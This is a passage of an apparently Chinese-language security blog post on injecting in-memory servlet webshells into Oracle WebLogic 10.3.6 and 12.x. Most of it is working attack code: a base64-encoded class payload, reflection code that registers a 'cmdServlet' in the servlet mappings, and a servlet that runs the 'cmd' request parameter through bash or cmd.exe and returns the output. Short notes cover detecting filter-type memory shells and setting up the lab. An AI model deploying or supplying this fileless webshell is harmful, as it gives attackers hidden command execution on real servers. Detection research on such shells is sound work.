QCPABoAlgAbAJsAHACgAB0AIgAAAHAACwAAAKEAIwAkAAAAAAChACcAKAABAAAAoQApACoAAgAJAJgAKwAsAAMADACVAC0ALgAEABMAjgAvACwABQBWAEsAMAAxAAYAYwA+ADIAMwAHAHMALgA0ADUACACHABoANgAsAAkAjwASADcAOAAKADkAAAAhAAX+ACgHADoBBwA6GVEHADv+AC4HADsHADwHAD1BBwA6AD4AAAAGAAIAPwBAAAEAQQAAAAIAQg==";
byte[] decode_class = new BASE64Decoder().decodeBuffer(encode_class);
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
defineClass.setAccessible(true);
//这里为了适配weblogic 1036 必须反射获取webAppServletContext中的classLoader
Field loader = servletContext.getClass().getDeclaredField("classLoader");
loader.setAccessible(true);
ClassLoader ClassLoader0 = (ClassLoader) loader.get(servletContext);
Class servlet_class = (Class) defineClass.invoke(ClassLoader0, decode_class, 0, decode_class.length);
//获取ChangeAwareClassLoader,因为cachedClasses这个变量在ChangeAwareClassLoader中
Field classLoader = servletContext.getClass().getDeclaredField("classLoader");
classLoader.setAccessible(true);
ClassLoader classLoader1 = (ClassLoader) classLoader.get(servletContext);
//获取cachedClasses
Field cachedClasses = classLoader1.getClass().getDeclaredField("cachedClasses");
cachedClasses.setAccessible(true);
Object cachedClasses_map = cachedClasses.get(classLoader1);
Method get = cachedClasses_map.getClass().getDeclaredMethod("get", Object.class);
get.setAccessible(true);
//把cmdServlet的class存入cachedClasses中
Method put = cachedClasses_map.getClass().getMethod("put", Object.class, Object.class);
put.setAccessible(true);
put.invoke(cachedClasses_map, "cmdServlet", servlet_class);
try {
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class);
ServletStubImplConstructor.setAccessible(true);
servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext);
} catch (Exception e) {
Constructor<?> ServletStubImplConstructor = Class.forName("weblogic.servlet.internal.ServletStubImpl").getDeclaredConstructor(String.class, String.class, WebAppServletContext.class, Map.class);
ServletStubImplConstructor.setAccessible(true);
servletStub = (ServletStubImpl) ServletStubImplConstructor.newInstance(URI, "cmdServlet", servletContext, null);
}
// 使用URLMathchHelper包装ServletStub
Constructor<?> URLMatchHelperConstructor = Class.forName("weblogic.servlet.internal.URLMatchHelper").getDeclaredConstructor(String.class, ServletStubImpl.class);
URLMatchHelperConstructor.setAccessible(true);
Object umh = URLMatchHelperConstructor.newInstance(URI, servletStub);
// 添加到ServletMapping中,即代表注入servlet内存马成功
if (mappings.get(URI) == null) {
mappings.put(URI, umh);
response.getWriter().println("success");
}else{
response.getWriter().println("already exist");
}
} catch (Exception e) {
e.printStackTrace();
}
}
public void destroy() {
}
}
|
恶意Servlet
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
package com.example.web;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;
public class httpServlet extends HttpServlet {
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
String cmd = req.getParameter("cmd");
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"bash", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\\\a");
String output = s.hasNext() ? s.next() : "";
PrintWriter out = resp.getWriter();
out.println(output);
out.flush();
out.close();
return;
}
}
|
base64脚本,用于编码class文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
package test1;
import sun.misc.BASE64Encoder;
import java.io.*;
public class run {
public static void main(String[] args) {
try{
File file = new File("/Users/myzxcg/xx/IdeaProjects/web/target/classes/com/example/web/httpServlet.class");
FileInputStream fileInputStream = new FileInputStream(file);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
byte[] bytes = new byte[4096];
int len;
while ((len = fileInputStream.read(bytes))!=-1){
byteArrayOutputStream.write(bytes,0,len);
}
String encode = new BASE64Encoder().encode(byteArrayOutputStream.toByteArray());
System.out.println(encode.replaceAll("\\r|\\n",""));
}catch (Exception e){
e.printStackTrace();
}
}
}
|
在weblogic 10/12下经过测试,不受协议影响
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
java.lang.reflect.Method m = Class.forName("weblogic.t3.srvr.ServerRuntime").getDeclaredMethod("theOne");
m.setAccessible(true);
ServerRuntime serverRuntime = (ServerRuntime) m.invoke(null);
List<WebAppServletContext> list = new java.util.ArrayList();
StringBuilder sb = new StringBuilder();
for (weblogic.management.runtime.ApplicationRuntimeMBean applicationRuntime : serverRuntime.getApplicationRuntimes()) {
java.lang.reflect.Field childrenF = applicationRuntime.getClass().getSuperclass().getDeclaredField("children");
childrenF.setAccessible(true);
java.util.HashSet set = (java.util.HashSet) childrenF.get(applicationRuntime);
java.util.Iterator iterator = set.iterator();
while (iterator.hasNext()) {
Object key = iterator.next();
if (key.getClass().getName().equals("weblogic.servlet.internal.WebAppRuntimeMBeanImpl")) {
Field contextF = key.getClass().getDeclaredField("context");
contextF.setAccessible(true);
WebAppServletContext context = (WebAppServletContext) contextF.get(key);
list.add(context);
}
}
}
|
已测试weblogic1036与weblogic12.1.3 成功
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
Thread thread = Thread.currentThread();
try {
//获取WebAppServletContext
Field workEntry = Class.forName("weblogic.work.ExecuteThread").getDeclaredField("workEntry");
workEntry.setAccessible(true);
Object workentry = workEntry.get(thread);
WebAppServletContext webAppServletContext=null;
try{ //weblogic 12.1.3
Field connectionHandler = workentry.getClass().getDeclaredField("connectionHandler");
connectionHandler.setAccessible(true);
Object http = connectionHandler.get(workentry);
Field request1 = http.getClass().getDeclaredField("request");
request1.setAccessible(true);
ServletRequestImpl servletRequest = (ServletRequestImpl) request1.get(http);
Field context = servletRequest.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(servletRequest);
}catch (Exception e){
//weblogic 1036
Field context = workentry.getClass().getDeclaredField("context");
context.setAccessible(true);
webAppServletContext = (WebAppServletContext) context.get(workentry);
}
}catch(Exception e){}
|
Weblogic 1036不能用
1
|
weblogic.servlet.internal.WebAppServletContext servletContext = (WebAppServletContext) request.getServletContext();
|
获取到weblogic所有的WebAppServletContext后,可以调用context.getRootTempDir().getAbsolutePath()
方法去获取目录的位置。
1
2
3
4
5
6
7
|
List<WebAppServletContext> contexts = findAllContext();
Iterator<WebAppServletContext> i = contexts.iterator();
StringBuilder sb = new StringBuilder();
while (i.hasNext()) {
WebAppServletContext context = i.next();
sb.append(String.format("name %30s\\turl %30s\\tDocroot %s\\n", context.getAppName(), context.getContextPath(), context.getRootTempDir().getAbsolutePath()));
}
|
要找到是否有filter类型的内存马,只需在getFilterChain处下手即可;只要从FileManager中的filters删掉恶意filter,filter链就不会有恶意filter了。
filter类型的内存马有两个很致命的特点,第一是继承Filter类,第二因为我们使用defineClass加载的类,是不会有class文件落地的,因此查看它的类加载路径会返回null。
-
部署war包到Weblogic 1036注意Web.xml文件格式的问题
1
2
3
|
<web-app version="2.5" metadata-complete="true" xmlns="<http://java.sun.com/xml/ns/javaee>"
xmlns:xsi="<http://www.w3.org/2001/XMLSchema-instance>"
xsi:schemaLocation="<http://java.sun.com/xml/ns/javaee> <http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd>">
|
-
本地测试时,编写的代码使用到了Weblogic的依赖,打war包的时候需要添加在pom.xml中需要添加jar包的依赖。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
<dependency>
<groupId>weblogic.servlet.internal</groupId><!--groupId和artifactId随便写-->
<artifactId>weblogic-classes</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/weblogic-classes.jar</systemPath>
</dependency>
<dependency>
<groupId>xxx</groupId>
<artifactId>xxx</artifactId>
<version>1.0.0</version>
<scope>system</scope>
<systemPath>${project.basedir}/lib/weblogic.server.merged.jar</systemPath>
</dependency>
|
-
从docker中导出wlserver目录下的包后,提取出所有jar包再导入idea。(不然可能找不到weblogic-classes.jar包)
windows命令
1
|
for /f "delims==" %a in ('dir /b /s C:\\Users\\xxx\\Desktop\\WeblogicEnvironment\\middleware\\bak\\*.jar')do copy /y "%a" C:\\Users\\xxx\\Desktop\\jar2\\
|
Linux命令
1
2
|
#复制modules下jar后缀文件到jar目录
find modules/ -name "*.jar" |xargs -n1 -I {} cp {} ./jar/;
|
- Java安全之Weblogic内存马
- 红蓝必备 你需要了解的weblogic攻击手法
- Weblogic下的servlet内存马注入-无参照纯调试